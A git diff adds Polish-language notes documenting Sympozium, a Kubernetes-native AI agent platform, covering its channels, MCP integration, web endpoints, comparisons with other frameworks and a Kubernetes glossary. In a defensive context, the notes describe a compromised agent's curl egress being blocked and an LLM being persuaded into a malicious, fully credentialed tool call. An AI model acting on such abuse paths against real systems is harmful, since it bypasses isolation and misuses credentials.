||||
|
||||
### Z NetworkPolicy:
|
||||
```
|
||||
Compromised agent → curl anything → BLOCKED
|
||||
Agent → /ipc/*.json → IPC Bridge → NATS → Controller (kontrolowany przepływ)
|
||||
```
|
||||
|
||||
## Architektura izolacji
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────┐
|
||||
│ Agent Pod (deny-all egress) │
|
||||
│ │
|
||||
│ ┌──────────┐ ┌──────────────┐ │
|
||||
│ │ Agent │ │ IPC Bridge │→→→ NATS │
|
||||
│ │ (no net)│ │ (has net) │ │
|
||||
│ └──────────┘ └──────────────┘ │
|
||||
│ │ │
|
||||
│ └── /ipc/ (filesystem only) ──────┘│
|
||||
└──────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
Agent kontener:
|
||||
- Brak dostępu sieciowego
|
||||
- Komunikacja tylko przez filesystem (/ipc/)
|
||||
|
||||
IPC Bridge sidecar:
|
||||
- Ma dostęp TYLKO do NATS
|
||||
- Bridguje filesystem → NATS
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Model bezpieczeństwa Defence-in-Depth]] | [[Przepływ danych i IPC]] | [[SympoziumPolicy]]
|
||||
105
06-Komunikacja/Kanały - Telegram Slack Discord WhatsApp.md
Normal file
105
06-Komunikacja/Kanały - Telegram Slack Discord WhatsApp.md
Normal file
@@ -0,0 +1,105 @@
|
||||
# Kanały - Telegram, Slack, Discord, WhatsApp
|
||||
|
||||
#sympozium #komunikacja #channels
|
||||
|
||||
## Architektura
|
||||
|
||||
Każdy kanał to **dedykowany Kubernetes Deployment** - osobny pod, osobny lifecycle, osobne credentials.
|
||||
|
||||
```
|
||||
┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐
|
||||
│ Telegram │ │ Slack │ │ Discord │ │ WhatsApp │
|
||||
│ Deployment │ │ Deployment │ │ Deployment │ │ Deployment │
|
||||
│ │ │ Socket Mode │ │ │ │ + PVC │
|
||||
└──────┬───────┘ └──────┬───────┘ └──────┬───────┘ └──────┬───────┘
|
||||
│ │ │ │
|
||||
└────────────────┴─────────────────┴────────────────┘
|
||||
│
|
||||
NATS JetStream
|
||||
│
|
||||
Channel Router
|
||||
│
|
||||
AgentRun Controller
|
||||
```
|
||||
|
||||
## Przepływ wiadomości
|
||||
|
||||
```
|
||||
Użytkownik → Telegram
|
||||
↓
|
||||
Channel Pod: telegram/main.go
|
||||
↓
|
||||
NATS: channel.message.received
|
||||
payload: {
|
||||
instanceName: "my-agent",
|
||||
channelType: "telegram",
|
||||
senderID: "123456",
|
||||
chatID: "789",
|
||||
text: "Sprawdź stan klastra"
|
||||
}
|
||||
↓
|
||||
Channel Router:
|
||||
1. Lookup SympoziumInstance
|
||||
2. Access control check (allowedSenders, deniedSenders)
|
||||
3. Tworzy AgentRun CR z task = text wiadomości
|
||||
↓
|
||||
AgentRun → Job → Agent → wynik
|
||||
↓
|
||||
NATS: channel.message.send
|
||||
↓
|
||||
Channel Pod → Telegram → Użytkownik
|
||||
```
|
||||
|
||||
## Kanały
|
||||
|
||||
| Kanał | Obraz | Specyfika |
|
||||
|-------|-------|-----------|
|
||||
| Telegram | `channel-telegram` | Bot API |
|
||||
| Slack | `channel-slack` | Socket Mode + Events API |
|
||||
| Discord | `channel-discord` | Bot API |
|
||||
| WhatsApp | `channel-whatsapp` | QR pairing + PVC dla persistence |
|
||||
|
||||
### WhatsApp - specjalny przypadek
|
||||
- Wymaga PVC dla credential persistence (QR link przetrwa restart)
|
||||
- Strategy: Recreate (nie RollingUpdate, bo RWO PVC)
|
||||
- ConfigRef opcjonalny (auth via QR, nie secret)
|
||||
|
||||
## Konfiguracja
|
||||
|
||||
```yaml
|
||||
# W SympoziumInstance
|
||||
spec:
|
||||
channels:
|
||||
- type: telegram
|
||||
configRef:
|
||||
secret: telegram-bot-token
|
||||
accessControl:
|
||||
allowedSenders: ["user123"]
|
||||
deniedSenders: ["spammer456"]
|
||||
allowedChats: ["group789"]
|
||||
denyMessage: "You are not authorized."
|
||||
```
|
||||
|
||||
## Reconciliation
|
||||
|
||||
`SympoziumInstanceReconciler.reconcileChannels()`:
|
||||
1. Dla każdego kanału w spec:
|
||||
- Waliduje istnienie secretu
|
||||
- Tworzy/aktualizuje Deployment
|
||||
- Raportuje status (Connected/Disconnected/Error)
|
||||
2. Deployment tworzony z:
|
||||
- Image: `channel-<type>:<tag>`
|
||||
- Env: INSTANCE_NAME, EVENT_BUS_URL, OTEL_*
|
||||
- EnvFrom: secret z credentials kanału
|
||||
|
||||
## Access Control
|
||||
|
||||
Wielowarstwowy:
|
||||
1. `allowedSenders` - whitelist (jeśli set, TYLKO ci nadawcy)
|
||||
2. `deniedSenders` - blacklist (nadpisuje whitelist)
|
||||
3. `allowedChats` - whitelist chat/group IDs
|
||||
4. `denyMessage` - wiadomość dla odrzuconych (lub cichy drop)
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[SympoziumInstance]] | [[NATS JetStream - Event Bus]] | [[Przepływ danych i IPC]]
|
||||
85
06-Komunikacja/MCP Servers - Model Context Protocol.md
Normal file
85
06-Komunikacja/MCP Servers - Model Context Protocol.md
Normal file
@@ -0,0 +1,85 @@
|
||||
# MCP Servers - Model Context Protocol
|
||||
|
||||
#sympozium #komunikacja #mcp
|
||||
|
||||
## Koncepcja
|
||||
|
||||
MCP (Model Context Protocol) to protokół umożliwiający **rozszerzanie możliwości agentów** o zewnętrzne narzędzia. Sympozium integruje MCP jako first-class citizen z pełnym lifecycle management.
|
||||
|
||||
## Architektura
|
||||
|
||||
```
|
||||
MCPServer CRD → Controller
|
||||
├── Managed: Deploy + Service + probe tools
|
||||
└── External: Just probe tools
|
||||
|
||||
SympoziumInstance.mcpServers[] → reference MCPServer
|
||||
↓
|
||||
AgentRun → Reconciler:
|
||||
1. Resolve MCPServer URLs (status.url)
|
||||
2. Create MCP ConfigMap (server configs)
|
||||
3. Add mcp-bridge sidecar to pod
|
||||
↓
|
||||
Agent Pod:
|
||||
┌──────────┐ ┌──────────────┐ ┌──────────────┐
|
||||
│ Agent │──│ MCP Bridge │──│ MCP Server │
|
||||
│ │ │ Sidecar │ │ (remote) │
|
||||
│ gh_* │ │ Translates: │ │ │
|
||||
│ tools │ │ tool call → │ │ GitHub API │
|
||||
│ │ │ MCP protocol│ │ │
|
||||
└──────────┘ └──────────────┘ └──────────────┘
|
||||
```
|
||||
|
||||
## Tool namespacing
|
||||
|
||||
Problem: wiele MCP serwerów może mieć tool o tej samej nazwie.
|
||||
|
||||
Rozwiązanie: **toolsPrefix** - każde narzędzie z danego serwera dostaje prefix:
|
||||
|
||||
```
|
||||
GitHub MCP (prefix: gh) → gh_create_issue, gh_list_repos
|
||||
Jira MCP (prefix: jira) → jira_create_ticket, jira_search
|
||||
Slack MCP (prefix: sl) → sl_send_message, sl_list_channels
|
||||
```
|
||||
|
||||
## Tool filtering
|
||||
|
||||
```yaml
|
||||
toolsAllow: [create_issue] # TYLKO te narzędzia (whitelist)
|
||||
toolsDeny: [delete_repo] # BLOKUJ te narzędzia (blacklist)
|
||||
```
|
||||
|
||||
`toolsDeny` applied after `toolsAllow` - można pozwolić na all except specific.
|
||||
|
||||
## Auto-discovery
|
||||
|
||||
Controller probeuje MCP server po deploy:
|
||||
1. Wysyła MCP tools/list request
|
||||
2. Odkrywa dostępne narzędzia
|
||||
3. Aplikuje allow/deny filtry
|
||||
4. Zapisuje w `status.tools[]`
|
||||
5. Aktualizuje `status.toolCount`
|
||||
|
||||
## Transport modes
|
||||
|
||||
### stdio → HTTP adapter
|
||||
Serwer MCP używa stdio (stdin/stdout). Controller automatycznie dodaje HTTP adapter:
|
||||
```
|
||||
Container: my-mcp-server --stdio
|
||||
↓
|
||||
HTTP adapter: wraps stdio → HTTP endpoint
|
||||
↓
|
||||
mcp-bridge sidecar connects via HTTP
|
||||
```
|
||||
|
||||
### HTTP (native)
|
||||
Serwer MCP natywnie serwuje HTTP:
|
||||
```
|
||||
Container: my-mcp-server --port 8080
|
||||
↓
|
||||
mcp-bridge sidecar connects directly
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[MCPServer]] | [[SympoziumInstance]] | [[Przepływ danych i IPC]]
|
||||
60
06-Komunikacja/Node Probe - odkrywanie inferencji.md
Normal file
60
06-Komunikacja/Node Probe - odkrywanie inferencji.md
Normal file
@@ -0,0 +1,60 @@
|
||||
# Node Probe - odkrywanie inferencji
|
||||
|
||||
#sympozium #komunikacja #inference #discovery
|
||||
|
||||
## Koncepcja
|
||||
|
||||
Node Probe to **DaemonSet** odkrywający lokalne inference providers (Ollama, vLLM, llama-cpp, LM Studio) zainstalowane bezpośrednio na nodach klastra.
|
||||
|
||||
## Jak to działa
|
||||
|
||||
```
|
||||
Node Probe Pod (DaemonSet - jeden per node)
|
||||
↓
|
||||
Probeuje localhost ports:
|
||||
- :11434 (Ollama)
|
||||
- :8000 (vLLM)
|
||||
- :1234 (LM Studio)
|
||||
- :8080 (llama-cpp)
|
||||
↓
|
||||
Jeśli znalazł provider:
|
||||
- Pobiera listę modeli (GET /v1/models)
|
||||
- Annotuje node:
|
||||
sympozium.ai/inference-provider: ollama
|
||||
sympozium.ai/inference-models: llama3.2,codellama
|
||||
sympozium.ai/inference-url: http://localhost:11434/v1
|
||||
↓
|
||||
API Server czyta annotacje node'ów
|
||||
↓
|
||||
TUI/Web wizard pokazuje dostępne node'y i modele
|
||||
↓
|
||||
Użytkownik wybiera → nodeSelector w SympoziumInstance
|
||||
```
|
||||
|
||||
## Cel
|
||||
|
||||
Dla lokalnych providerów (Ollama na GPU node) nie trzeba:
|
||||
- Ręcznie konfigurować baseURL
|
||||
- Szukać na jakich nodach jest Ollama
|
||||
- Sprawdzać jakie modele są dostępne
|
||||
|
||||
Node Probe automatyzuje discovery i prezentuje w UI.
|
||||
|
||||
## nodeSelector
|
||||
|
||||
```yaml
|
||||
# SympoziumInstance
|
||||
spec:
|
||||
agents:
|
||||
default:
|
||||
model: llama3.2
|
||||
baseURL: "http://localhost:11434/v1"
|
||||
nodeSelector:
|
||||
sympozium.ai/inference-provider: ollama
|
||||
```
|
||||
|
||||
Agent pods będą schedulowane TYLKO na nodach z Ollama.
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[SympoziumInstance]] | [[Control Plane]]
|
||||
93
06-Komunikacja/Web Endpoints - OpenAI-compat API.md
Normal file
93
06-Komunikacja/Web Endpoints - OpenAI-compat API.md
Normal file
@@ -0,0 +1,93 @@
|
||||
# Web Endpoints - OpenAI-compat API
|
||||
|
||||
#sympozium #komunikacja #web #api
|
||||
|
||||
## Koncepcja
|
||||
|
||||
Sympozium może eksponować agentów jako **HTTP API** kompatybilne z OpenAI API i MCP protocol.
|
||||
|
||||
## Architektura
|
||||
|
||||
```
|
||||
HTTP Client
|
||||
↓
|
||||
Envoy Gateway → HTTPRoute (per instance)
|
||||
↓
|
||||
Web Proxy Pod (Deployment - server mode):
|
||||
├── Agent container
|
||||
├── Web Proxy sidecar:
|
||||
│ ├── POST /v1/chat/completions → tworzy AgentRun (task mode)
|
||||
│ ├── GET /v1/models → listuje dostępne modele
|
||||
│ ├── SSE /sse → MCP streaming
|
||||
│ ├── POST /message → MCP request
|
||||
│ └── Auth: Bearer sk-<hex> API key
|
||||
├── IPC Bridge
|
||||
└── Skill sidecars
|
||||
```
|
||||
|
||||
## Aktywacja
|
||||
|
||||
Dodanie skillu `web-endpoint` do SympoziumInstance:
|
||||
```yaml
|
||||
skills:
|
||||
- skillPackRef: web-endpoint
|
||||
```
|
||||
|
||||
Instance Reconciler automatycznie:
|
||||
1. Tworzy AgentRun w trybie server
|
||||
2. AgentRun Reconciler tworzy Deployment + Service
|
||||
3. Jeśli Gateway dostępny → HTTPRoute
|
||||
|
||||
## Endpointy
|
||||
|
||||
| Endpoint | Metoda | Opis |
|
||||
|----------|--------|------|
|
||||
| `/v1/chat/completions` | POST | OpenAI-compatible chat |
|
||||
| `/v1/models` | GET | Lista modeli |
|
||||
| `/sse` | GET | MCP SSE stream |
|
||||
| `/message` | POST | MCP request |
|
||||
| `/health` | GET | Health check |
|
||||
|
||||
## Auto-generated API key
|
||||
|
||||
Controller automatycznie generuje Secret z API key:
|
||||
```
|
||||
Secret: <instance>-web-endpoint-key
|
||||
Data:
|
||||
api-key: sk-<random-hex>
|
||||
```
|
||||
|
||||
Użytkownik używa klucza w Bearer auth:
|
||||
```bash
|
||||
curl -H "Authorization: Bearer sk-abc123" \
|
||||
https://my-agent.sympozium.example.com/v1/chat/completions
|
||||
```
|
||||
|
||||
## Rate limiting
|
||||
|
||||
```yaml
|
||||
webEndpoint:
|
||||
rateLimit:
|
||||
requestsPerMinute: 60
|
||||
burstSize: 10
|
||||
```
|
||||
|
||||
## Per-request AgentRun
|
||||
|
||||
Kluczowe: Web proxy sam działa jako Deployment (server mode), ale **każdy przychodzący request tworzy osobny AgentRun w trybie task**:
|
||||
|
||||
```
|
||||
POST /v1/chat/completions
|
||||
↓
|
||||
Web Proxy → tworzy AgentRun (mode: task, label: source=web-proxy)
|
||||
↓
|
||||
AgentRun → Job → Agent → wynik
|
||||
↓
|
||||
Web Proxy → HTTP Response (blocking lub streaming)
|
||||
```
|
||||
|
||||
To zachowuje ephemeral model: izolacja, RBAC, cleanup per request.
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Tryb Server vs Task]] | [[SympoziumInstance]] | [[Cykl życia AgentRun]]
|
||||
75
07-Porównania/Sympozium vs frameworki in-process.md
Normal file
75
07-Porównania/Sympozium vs frameworki in-process.md
Normal file
@@ -0,0 +1,75 @@
|
||||
# Sympozium vs frameworki in-process
|
||||
|
||||
#sympozium #porównanie #langchain #crewai
|
||||
|
||||
## Kontekst
|
||||
|
||||
Frameworki in-process (LangChain, CrewAI, AutoGen, LlamaIndex) uruchamiają agentów w jednym procesie. Sympozium reprezentuje podejście "infrastructure-native".
|
||||
|
||||
## Porównanie architektoniczne
|
||||
|
||||
| Aspekt | In-process frameworks | Sympozium (K8s-native) |
|
||||
|--------|----------------------|------------------------|
|
||||
| **Wykonanie agenta** | Shared memory, single process | Ephemeral **Pod** per invocation |
|
||||
| **Orkiestracja** | In-process registry + queue | **CRD-based** + controller reconciliation |
|
||||
| **Sandbox** | Docker sidecar (long-lived) | Pod **SecurityContext** + Agent Sandbox |
|
||||
| **IPC** | In-process EventEmitter | Filesystem sidecar + **NATS JetStream** |
|
||||
| **Tool gating** | In-process pipeline | **Admission webhooks** + SympoziumPolicy |
|
||||
| **Persistent memory** | Files on disk | **SQLite + FTS5** na PVC |
|
||||
| **Scheduled tasks** | Cron jobs / external | **SympoziumSchedule CRD** |
|
||||
| **State** | SQLite + flat files | **etcd** + PostgreSQL |
|
||||
| **Multi-tenancy** | Single-instance file lock | **Namespaced CRDs** + RBAC |
|
||||
| **Scaling** | Vertical only | **Horizontal** - stateless control plane |
|
||||
| **Channels** | In-process per channel | Dedicated **Deployment** per channel |
|
||||
| **External tools** | Plugin SDKs | **MCPServer CRD** + auto-discovery |
|
||||
| **Observability** | Application logs | kubectl, OTel, TUI, Web UI |
|
||||
|
||||
## Dlaczego "infrastructure-native"?
|
||||
|
||||
Sympozium nie implementuje orkiestracji w kodzie aplikacji. Zamiast tego **mapuje koncepty agentowe na prymitywy Kubernetes**:
|
||||
|
||||
```
|
||||
LangChain concept → Sympozium concept → K8s primitive
|
||||
─────────────────────────────────────────────────────────────
|
||||
Agent → AgentRun → Job/Pod
|
||||
Tool → SkillPack sidecar → Container + RBAC
|
||||
Memory → Memory server → Deployment + PVC
|
||||
Chain → Sub-agents → Parent-child Jobs
|
||||
Guard rail → SympoziumPolicy → Admission Webhook
|
||||
Scheduler → SympoziumSchedule → CRD + Controller
|
||||
Callback handler → NATS events → JetStream pub/sub
|
||||
Vector store → SQLite FTS5 → PVC-backed DB
|
||||
```
|
||||
|
||||
## Analiza trade-offs
|
||||
|
||||
### Complexity
|
||||
- **In-process:** Prosty pip install, kilka linii Pythona
|
||||
- **Sympozium:** K8s cluster, Helm install, CRDs, controllers
|
||||
|
||||
### Flexibility
|
||||
- **In-process:** Dowolny Python code, łatwe prototyping
|
||||
- **Sympozium:** Deklaratywny YAML, ograniczony do tego co CRDs oferują
|
||||
|
||||
### Production readiness
|
||||
- **In-process:** Trzeba samemu zbudować izolację, scaling, monitoring
|
||||
- **Sympozium:** Built-in isolation, scaling, monitoring, multi-tenancy
|
||||
|
||||
### Debugging
|
||||
- **In-process:** Standard Python debugger, print statements
|
||||
- **Sympozium:** kubectl logs, OTel traces, TUI, CRD status
|
||||
|
||||
## Kiedy co?
|
||||
|
||||
| Scenariusz | In-process | Sympozium |
|
||||
|-----------|------------|-----------|
|
||||
| Prototyping | Idealne | Overkill |
|
||||
| Single developer | Idealne | Za dużo overhead |
|
||||
| Production multi-tenant | Trudne | Idealne |
|
||||
| Cluster operations | Niebezpieczne | Bezpieczne |
|
||||
| Scheduled automation | Wymaga dodatkowej infra | Built-in |
|
||||
| Compliance/audit | Wymaga budowy | Native |
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Sympozium vs kagent]] | [[Kluczowe decyzje projektowe]] | [[Model efemerycznych agentów]]
|
||||
84
07-Porównania/Sympozium vs kagent.md
Normal file
84
07-Porównania/Sympozium vs kagent.md
Normal file
@@ -0,0 +1,84 @@
|
||||
# Sympozium vs kagent
|
||||
|
||||
#sympozium #porównanie #kagent
|
||||
|
||||
## Fundamentalna różnica
|
||||
|
||||
| | Sympozium | kagent |
|
||||
|---|-----------|--------|
|
||||
| **Model wykonania** | Ephemeral Pod (Job) per run | Persistent engine process |
|
||||
| **Optymalizuje dla** | Izolacja, bezpieczeństwo, auditability | Niska latencja, konwersacja |
|
||||
|
||||
## Szczegółowe porównanie
|
||||
|
||||
| Wymiar | Sympozium | kagent |
|
||||
|--------|-----------|--------|
|
||||
| **Agent runtime** | Ephemeral Pod (K8s Job) | Long-running engine (Python/Go ADK) |
|
||||
| **Tool isolation** | Sidecar per skill + ephemeral RBAC | In-process (MCP client w engine) |
|
||||
| **Kernel sandbox** | gVisor/Kata via agent-sandbox + warm pools | Brak |
|
||||
| **Multi-tenancy** | Namespace-per-tenant, per-instance RBAC, webhooks | Namespace-scoped CRDs |
|
||||
| **Agent packaging** | PersonaPacks (bundle personas+skills+schedules+memory) | Individual Agent CRDs |
|
||||
| **Persistent memory** | SQLite + FTS5 na PVC | Vector-backed (in-engine) |
|
||||
| **Channels** | Telegram, Slack, Discord, WhatsApp (dedykowane Deployments + NATS) | Slack, Discord (in-engine) |
|
||||
| **Scheduled runs** | SympoziumSchedule CRD + concurrency policies | Brak |
|
||||
| **MCP** | MCPServer CRD + auto-discovery + tool filtering + managed deploy | MCP tools as CRDs |
|
||||
| **Human-in-the-loop** | SympoziumPolicy CRD (admission-time) | Tool-level approve/reject w UI |
|
||||
|
||||
## Analiza: Tool Isolation
|
||||
|
||||
**To najważniejsza różnica z perspektywy bezpieczeństwa.**
|
||||
|
||||
### kagent (in-process):
|
||||
```
|
||||
Engine process (z credentials)
|
||||
↓
|
||||
Tool call: kubectl get pods
|
||||
↓
|
||||
Wykonanie w tym samym procesie z tymi samymi credentials
|
||||
```
|
||||
|
||||
Jeśli LLM "przekona" engine do złośliwego tool call → pełne uprawnienia engine'a.
|
||||
|
||||
### Sympozium (sidecar):
|
||||
```
|
||||
Agent container (BEZ credentials K8s)
|
||||
↓
|
||||
Tool call: kubectl get pods
|
||||
↓
|
||||
/ipc/tools/cmd.json → IPC Bridge → NATS → Skill Sidecar
|
||||
↓
|
||||
Sidecar (z scoped, ephemeral RBAC: ONLY get pods)
|
||||
```
|
||||
|
||||
Agent nigdy nie ma bezpośrednich credentials. Sidecar ma minimum wymaganych uprawnień.
|
||||
|
||||
## Kiedy który?
|
||||
|
||||
### Wybierz Sympozium gdy:
|
||||
- Agenty wykonują cluster-admin operations (kubectl, helm, scaling)
|
||||
- Multi-tenant environment (wiele zespołów, jeden klaster)
|
||||
- Scheduled, unattended runs (nocne sweepy, triage alertów)
|
||||
- Kanały poza Slack/Discord (Telegram, WhatsApp)
|
||||
- Kernel-level sandboxing (untrusted agent code)
|
||||
- Auditability i compliance requirements
|
||||
|
||||
### Wybierz kagent gdy:
|
||||
- Low-latency conversational agents (brak cold-start)
|
||||
- Google ADK, CrewAI, LangGraph integration
|
||||
- Single-tenant experimentation
|
||||
- A2A (Agent-to-Agent) protocol support
|
||||
- Lżejszy setup
|
||||
|
||||
## Trade-off spectrum
|
||||
|
||||
```
|
||||
Szybkość odpowiedzi ←─────────────────────────→ Izolacja/Bezpieczeństwo
|
||||
kagent Sympozium
|
||||
(persistent engine, (ephemeral pods,
|
||||
fast responses, strong isolation,
|
||||
shared process) per-run RBAC)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Model efemerycznych agentów]] | [[Skill Sidecars i auto-RBAC]] | [[Agent Sandbox - gVisor i Kata]]
|
||||
77
08-Słownik-K8s/Admission Webhook.md
Normal file
77
08-Słownik-K8s/Admission Webhook.md
Normal file
@@ -0,0 +1,77 @@
|
||||
# Admission Webhook
|
||||
|
||||
#kubernetes #security #api #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**Admission Webhook** to mechanizm Kubernetes pozwalający na **przechwycenie i walidację/modyfikację żądań do API servera** zanim zasób zostanie zapisany w etcd.
|
||||
|
||||
## Typy
|
||||
|
||||
### Validating Admission Webhook
|
||||
- **Sprawdza** czy żądanie jest prawidłowe
|
||||
- Może ALLOW lub DENY
|
||||
- Nie modyfikuje żądania
|
||||
- Przykład: "Czy AgentRun spełnia SympoziumPolicy?"
|
||||
|
||||
### Mutating Admission Webhook
|
||||
- **Modyfikuje** żądanie przed walidacją
|
||||
- Może dodawać, usuwać lub zmieniać pola
|
||||
- Przykład: "Dodaj domyślny SecurityContext do poda"
|
||||
|
||||
## Przepływ
|
||||
|
||||
```
|
||||
kubectl apply -f agentrun.yaml
|
||||
↓
|
||||
API Server:
|
||||
1. Authentication (kto?)
|
||||
2. Authorization / RBAC (czy może?)
|
||||
3. → Mutating Webhooks (modyfikacja)
|
||||
4. Schema Validation (OpenAPI)
|
||||
5. → Validating Webhooks (walidacja)
|
||||
6. Zapis do etcd
|
||||
```
|
||||
|
||||
## Kluczowe cechy
|
||||
|
||||
- **Synchroniczne** - żądanie czeka na odpowiedź webhooka
|
||||
- **Fail-open / fail-closed** - konfiguracja co robić gdy webhook jest niedostępny
|
||||
- **TLS required** - webhook musi serwować HTTPS (cert-manager w Sympozium)
|
||||
- **Scope** - filtrowanie po zasobach, operacjach, namespace'ach
|
||||
|
||||
## Przykład konfiguracji
|
||||
|
||||
```yaml
|
||||
apiVersion: admissionregistration.k8s.io/v1
|
||||
kind: ValidatingWebhookConfiguration
|
||||
metadata:
|
||||
name: sympozium-webhook
|
||||
webhooks:
|
||||
- name: validate.sympozium.ai
|
||||
rules:
|
||||
- apiGroups: ["sympozium.ai"]
|
||||
resources: ["agentruns"]
|
||||
operations: ["CREATE", "UPDATE"]
|
||||
clientConfig:
|
||||
service:
|
||||
name: sympozium-webhook
|
||||
namespace: sympozium-system
|
||||
path: /validate-agent-pods
|
||||
failurePolicy: Fail # Odrzuć jeśli webhook niedostępny
|
||||
```
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
Sympozium używa admission webhook do enforcowania [[SympoziumPolicy]]:
|
||||
|
||||
- Sprawdza czy [[AgentRun]] spełnia politykę bezpieczeństwa
|
||||
- Waliduje tool gating (allow/deny per tool)
|
||||
- Enforces sandbox requirements
|
||||
- Sprawdza limity sub-agentów
|
||||
|
||||
Enforcement odbywa się **at admission time** (przed tworzeniem poda), nie at runtime. Więcej w [[Admission Webhooks i polityki]].
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Admission Webhooks i polityki]] | [[SympoziumPolicy]] | [[CRD - Custom Resource Definition]]
|
||||
87
08-Słownik-K8s/CRD - Custom Resource Definition.md
Normal file
87
08-Słownik-K8s/CRD - Custom Resource Definition.md
Normal file
@@ -0,0 +1,87 @@
|
||||
# CRD - Custom Resource Definition
|
||||
|
||||
#kubernetes #api #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**Custom Resource Definition (CRD)** to mechanizm Kubernetes pozwalający na **rozszerzenie API klastra o własne typy zasobów**. Po zainstalowaniu CRD, nowy typ zasobu jest traktowany przez API server identycznie jak wbudowane zasoby (Pod, Service, Deployment).
|
||||
|
||||
## Jak działa?
|
||||
|
||||
```
|
||||
1. Instalacja CRD YAML → K8s API Server rejestruje nowy typ
|
||||
2. Użytkownik tworzy instancję → Zapisana w etcd jak każdy zasób
|
||||
3. Controller obserwuje → Reconciliuje desired state → actual state
|
||||
```
|
||||
|
||||
## Przykład
|
||||
|
||||
```yaml
|
||||
# Definicja CRD
|
||||
apiVersion: apiextensions.k8s.io/v1
|
||||
kind: CustomResourceDefinition
|
||||
metadata:
|
||||
name: agentruns.sympozium.ai
|
||||
spec:
|
||||
group: sympozium.ai
|
||||
versions:
|
||||
- name: v1alpha1
|
||||
served: true
|
||||
storage: true
|
||||
scope: Namespaced
|
||||
names:
|
||||
plural: agentruns
|
||||
singular: agentrun
|
||||
kind: AgentRun
|
||||
```
|
||||
|
||||
```yaml
|
||||
# Instancja CRD (Custom Resource / CR)
|
||||
apiVersion: sympozium.ai/v1alpha1
|
||||
kind: AgentRun
|
||||
metadata:
|
||||
name: my-run
|
||||
spec:
|
||||
task: "Check cluster health"
|
||||
```
|
||||
|
||||
## Kluczowe koncepty
|
||||
|
||||
| Koncept | Opis |
|
||||
|---------|------|
|
||||
| **CRD** | Definicja typu (schemat) |
|
||||
| **CR** (Custom Resource) | Instancja danego typu |
|
||||
| **Controller** | Kod obserwujący CR i realizujący intent |
|
||||
| **Operator** | Controller + CRD + logika domenowa |
|
||||
| **Status subresource** | Oddzielny endpoint do aktualizacji statusu |
|
||||
| **Finalizer** | Blokuje usunięcie do czasu cleanup |
|
||||
| **Validation** | Schema validation (OpenAPI v3) lub webhook |
|
||||
|
||||
## Dlaczego CRD a nie ConfigMap?
|
||||
|
||||
| CRD | ConfigMap |
|
||||
|-----|-----------|
|
||||
| Typowane, walidowane | Dowolne dane |
|
||||
| Status subresource | Brak statusu |
|
||||
| kubectl native (`kubectl get agentruns`) | Wymaga custom tooling |
|
||||
| RBAC per-resource | RBAC per-configmap |
|
||||
| Watch API (event-driven) | Polling |
|
||||
| ownerReferences (GC) | Manualne zarządzanie |
|
||||
|
||||
## CRD w Sympozium
|
||||
|
||||
Sympozium definiuje **7 CRDs** (API group: `sympozium.ai/v1alpha1`):
|
||||
|
||||
| CRD | Opis |
|
||||
|-----|------|
|
||||
| [[SympoziumInstance]] | Tożsamość agenta / tenant |
|
||||
| [[AgentRun]] | Pojedyncze wywołanie agenta |
|
||||
| [[PersonaPack]] | Bundle pre-konfigurowanych agentów |
|
||||
| [[SkillPack]] | Portable skills (Markdown + sidecar) |
|
||||
| [[SympoziumPolicy]] | Polityki governance |
|
||||
| [[SympoziumSchedule]] | Cron-based recurring tasks |
|
||||
| [[MCPServer]] | External MCP tool providers |
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Controller i Reconciler]] | [[Finalizer]] | [[ownerReference]]
|
||||
82
08-Słownik-K8s/ConfigMap i Secret.md
Normal file
82
08-Słownik-K8s/ConfigMap i Secret.md
Normal file
@@ -0,0 +1,82 @@
|
||||
# ConfigMap i Secret
|
||||
|
||||
#kubernetes #storage #słownik
|
||||
|
||||
## ConfigMap
|
||||
|
||||
**ConfigMap** przechowuje **niekonfidencjalne dane** jako pary klucz-wartość. Montowane jako pliki lub zmienne środowiskowe w podach.
|
||||
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: ConfigMap
|
||||
metadata:
|
||||
name: my-agent-memory
|
||||
data:
|
||||
MEMORY.md: |
|
||||
# Agent Memory
|
||||
- Detected OOM on pod-x
|
||||
```
|
||||
|
||||
### Montowanie jako pliki
|
||||
```yaml
|
||||
volumes:
|
||||
- name: skills
|
||||
configMap:
|
||||
name: skillpack-k8s-ops
|
||||
volumeMounts:
|
||||
- name: skills
|
||||
mountPath: /skills
|
||||
readOnly: true
|
||||
```
|
||||
|
||||
### Ograniczenia
|
||||
- Max rozmiar: **1 MB** (etcd limit)
|
||||
- Brak szyfrowania
|
||||
- Widoczne w kubectl describe
|
||||
|
||||
## Secret
|
||||
|
||||
**Secret** przechowuje **poufne dane** (hasła, tokeny, klucze) zakodowane w base64.
|
||||
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: openai-key
|
||||
type: Opaque
|
||||
data:
|
||||
OPENAI_API_KEY: c2stYWJjMTIz # base64 encoded
|
||||
```
|
||||
|
||||
### Montowanie jako env vars
|
||||
```yaml
|
||||
envFrom:
|
||||
- secretRef:
|
||||
name: openai-key
|
||||
```
|
||||
|
||||
### Typy Secrets
|
||||
| Typ | Opis |
|
||||
|-----|------|
|
||||
| `Opaque` | Dowolne dane |
|
||||
| `kubernetes.io/tls` | Certyfikaty TLS |
|
||||
| `kubernetes.io/dockerconfigjson` | Docker registry credentials |
|
||||
| `kubernetes.io/service-account-token` | Token SA |
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
### ConfigMaps
|
||||
- **Skills** - SkillPack → ConfigMap z Markdown instrukcjami, montowany w `/skills/`
|
||||
- **Memory** (legacy) - `<instance>-memory` z kluczem `MEMORY.md`
|
||||
- **Input** - Task + system prompt dla agenta
|
||||
- **MCP config** - Konfiguracja MCP serwerów
|
||||
|
||||
### Secrets
|
||||
